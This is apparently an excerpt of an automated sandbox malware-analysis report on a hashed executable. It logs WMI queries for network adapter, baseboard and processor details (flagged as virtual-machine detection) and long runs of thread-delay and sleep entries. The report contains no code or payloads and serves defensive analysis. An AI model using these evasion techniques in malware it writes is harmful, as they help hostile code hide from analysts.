Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Memory allocated: 3170000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Memory allocated: 3350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Memory allocated: 3170000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598123	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597766	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597651	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597531	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597422	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597307	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597188	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596938	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596813	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596688	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596462	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596355	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595912	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595547	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595437	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595328	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595219	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 595094	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594984	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594750	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594641	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594531	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 594422	Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Window / User API: threadDelayed 8661			Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Window / User API: threadDelayed 1187			Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598123s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -598000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597891s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597766s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597651s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597307s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -597063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596813s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596688s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596462s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596355s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595912s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595219s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -595094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -594984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -594859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -594750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -594641s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -594531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe TID: 7192	Thread sleep time: -594422s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599547	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe	Thread delayed: delay time: 599328	Jump to behavior
